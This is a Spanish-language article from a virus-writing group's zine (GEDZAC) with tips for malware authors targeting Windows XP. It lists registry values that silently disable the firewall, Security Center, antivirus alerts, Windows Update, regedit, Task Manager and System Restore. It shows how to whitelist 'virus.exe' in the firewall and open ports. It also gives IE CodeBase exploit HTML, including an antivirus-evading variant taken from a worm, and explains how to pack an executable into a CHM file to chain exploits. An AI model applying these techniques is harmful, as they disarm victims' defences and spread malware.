En este txt se comentaran algunos datos que no ameritan un articulo entero
pero si merecen ser comentados, aunque varios son bastante conocidos.
Desabilitar algunas de las caracteristicas de seguridad del Sp2:
----------------------------------------------------------------
El sp2 incluye el llamado Centro de seguridad, que informa sobre el
antivirus instalado, sobre el firewall de windows, sobre las actualizaciones
Para desabilitar algunas de sus caracteristicas modificamos estas llaves
del reg:
[HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile]
DisableNotifications = 1 DWORD Desabilita notificacion de firewall
EnableFirewall = 0 DWORD Desabilita firewall
DoNotAllowExceptions = 0 DWORD No permitir excepciones
[HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile]
DisableNotifications = 1 DWORD Desabilita notificacion de firewall
EnableFirewall = 0 DWORD Desabilita firewall
DoNotAllowExceptions = 0 DWORD No permitir excepciones
[HKLM\Software\Microsoft\Security Center]
AntiVirusDisableNotify = 1 DWORD Desabilita notificacion de antivirus
FirewallDisableNotify = 1 DWORD Desabilita notificacion de firewall
UpdatesDisableNotify = 1 DWORD Desabilita notificacion de actualizaciones
AntiVirusOverride = 1 DWORD Invalidar antivirus de security center
FirewallOverride = 1 DWORD Invalidar firewall de security center
Desabilita servicio del Security Center
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wscsvc]
Start=dword:00000004
Desabilita el servicio que controla las actualizaciones automaticas
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuauserv]
Start=dword:00000004
No actualizar automaticamente
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\WindowsUpdate\AU]
NoAutoUpdate=dword:00000001
AUOptions=dword:00000001
[HKCU\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\LocalUser\Software\Microsoft\Windows\CurrentVersion\Policies\WindowsUpdate]
DisableWindowsUpdateAccess=dword:00000001 No notifica de nuevas actualizaciones
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update]
AUState=dword:00000007
AUOptions=dword:00000001
AUOptions:
Más o menos esto es lo que entendi: define la accion a tomar cuando
se detecta una nueva actualización, siendo:
1 - Desabilitar
2 - Notificar para la descarga y notificar para la instalación
3 - auto-descarga y notifica para la instalación
4 - auto-descarga y programa la instalacion para el día y hora
señalados en las llaves ScheduledInstallDay(día de la semana
en que se instala, valor de 1 a 7, 0 para todos los días)
y ScheduledInstallTime(hora a la que se instala, valor de 0 a 23
AUState:
0
1 - Espera a que el usuario inicie el asistente de actualizacion
2 - Deteccion pendiente, comprueba cada cierto tiempo se hay nuevas
actualizaciones
3 - Descarga pendiente, ha encontrado nuevas actualizaciones pero
al notificar la descarga al user, este la ha denegado
4 - Esta descargando la actualizacion ahora
5 - Se descargo la actualizacion y se esta esperando que el usuario
inicie la instalacion o el día y hora programada para instalar
6 - Instalacion completa de la actualizacion
7 - Desabilitado
8 - Reinicio pendiente, se necesita reiniciar para continuar y se esta
esperando que user permita reinicio o reinicie manualmente más tarde
'Bloquea la descarga del sp2 por el windows update, hasta el 12 de abril
'del 2005
[HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate]
DoNotAllowXPSP2=dword:00000001
'Servicio que controla entre otras cosas el firewall de win xp
[HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\SharedAccess]
Start=dword:00000004
Servicio SharedAccess segun la page de microsoft:
--------------------------------------------------
Este servicio del sistema ofrece los servicios de resolución de nombres y
direcciones para todos los equipos de red doméstica o pequeña oficina.
Cuando está habilitado, el equipo se convierte en una "puerta de enlace de
Internet" en la red, lo que permite que otros equipos cliente compartan una
conexión a Internet; por ejemplo, una conexión de acceso telefónico a redes
o de banda ancha. Este servicio ofrece los servicios DHCP y DNS básicos,
pero funcionará con los servicios DHCP o DNS completos de Windows.
Cuando actúa como puerta de enlace para el resto de equipos de la red,
ofrece los servicios DHCP y DNS a la red privada de la interfaz de red
interna. No ofrece estos servicios a la interfaz dirigida al exterior.
Osea que si matamos este servicio no solo nos estamos matando el firewall
sino otras cosas, que puede el user necesitar, por eso mejor usamos
las otras llaves detalladas más arriba para matar el firewall
*Para autorizar una aplicacion en el Firewall de winXP, tenemos que
añadirla en las llaves:
[HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\AuthorizedApplications\List]
[HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List]
Más o menos asi ser la llave que hay que añadir:
ProgramPath:IP:Enabled|Disabled:ApplicationName
Donde:
ProgramPath: es la ruta del .exe pudiendo ser c:\windows\virus.exe
o %windir%\virus.exe (se pueden usar variables como %windir%)
IP: segun lo que entiendo indica las direcciones ip a las cuales se
va a permitir que el programa conecte
Enabled|Disabled: Poner Enabled para colocar el programa como permitido
en la lista del firewall y disabled para colocarlo en la lista como
bloqueado
ApplicationName: Un nombre cualquiera que aparecera en la lista del
firewall
Entonces un ejemplo seria:
[HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\AuthorizedApplications\List]
%windir%\system32\virus.exe = %windir%\system32\virus.exe:*:enabled:VirusGedzac
El tipo de dato es REG_SZ ( valor de cadena )
Tambien se pueden añadir puertos permitidos en las llaves:
[HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\GloballyOpenPorts\List]
[HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List]
Ejem:
[HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List]
2703:TCP = "2703:TCP:*:enabled:SMS"
138:UDP = "138:UDP:*:Enabled:@xpsp2res.dll,-22004"
445:TCP = "445:TCP:*:Enabled:@xpsp2res.dll,-22005"
23:TCP = "23:TCP:*:Enabled:Telnet"
El tipo de dato es REG_SZ ( valor de cadena )
Sintaxis: Port#:TCP|UDP:IP:Enabled|Disabled:PortName
Primero va el N° del puerto, luego si es TCP o UDP, luego * para permitir
conectar con cualquier ip, luego ENABLED/DISABLED (Enabled para permitir
el puerto en el firewall) y luego un nombre cualquiera para el puerto.
Recomendado este .doc sobre el firewall de winXP, aunque en ingles
pero me parece que ta bueno:
http://www.gosecurity.ch/download/anleitungen/Deploying_Windows_Firewall_Settings_for_Microsoft_Windows_XP_with_Service_Pack_2.doc
Desabilitar el Regedit y el Visor de Procesos:
-----------------------------------------------
*Para desabilitar el regedit ponemos esta llave del reg:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools
a un valor REG_DWORD 1 (Probado en win98 y winXP)
*Para desabilitar el Visor de Procesos ponemos esta llave del reg:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr
a un valor REG_DWORD 1 (Probado en winXP, no funciona en win98)
*Para desabilitar Restaurar Sistema ponemos esta llave del reg:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore\DisableSR
a un valor REG_DWORD 1
Exploit CodeBase:
------------------
El exploit codebase es ampliamente conocido y bastante viejo:
Si colocamos esto en un htm, conseguimos que se ejecute el calc.exe
osea nos sirve para ejecutar archivos locales.
El htm debe ejecutarse en la zona local, no desde internet
<object classid="clsid:11111111-1111-1111-1111-111111111111" codebase="c:\windows\calc.exe"></object>
Ahora si ponemos eso nos van a saltar la mayoria de avs
Lo que me parecio interesante fue el metodo que uso el virus Wode, el
del msn
Se podria decir que era una variante del codebase y cuando lo mande a
virustotal ningun av lo detectaba, al día de escribir este articulo
solo lo reporta nod32
era este:
<object id="RUNIT" WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="test.exe"></object>
que hace lo mismo que el codebase original
Más info sobre el exploit-codebase: http://www.cyruxnet.org/ie_exec.htm
El wode usaba una combinacion del exploit chm con el codebase:
Incluia dentro del .chm un .exe, y un .html con el exploit codebase
con lo que conseguia afectar a win98 y winXP, ya que el exploit
más conocido me parece, en que se usa el chm involucra al objeto
"ADODB.Stream" no presente en win98.
Como el exploit chm nos permite ejecutar un .htm con permisos
locales "Zona Mi PC", aunque provenga de internet, pos ambos
exploits se complementan bien.
Si usamos el HTML Help Workshop de microsoft para crear el chm
deberemos modificar el archivo .hhp en la seccion FILES:
de modo que quede asi:
[FILES]
x.htm
load.exe
ya que no encuentro la opcion para agregar un .exe al chm desde el programa
le modificamos eso para que sepa que debe incluir el .exe dentro del
.chm ademas del .htm (el .exe debe estar en el dir del .hhp)
Más info del exploit-chm Mitosis2 Articulo: Exploit chm
(C) Mitosis 3 - GEDZAC LABS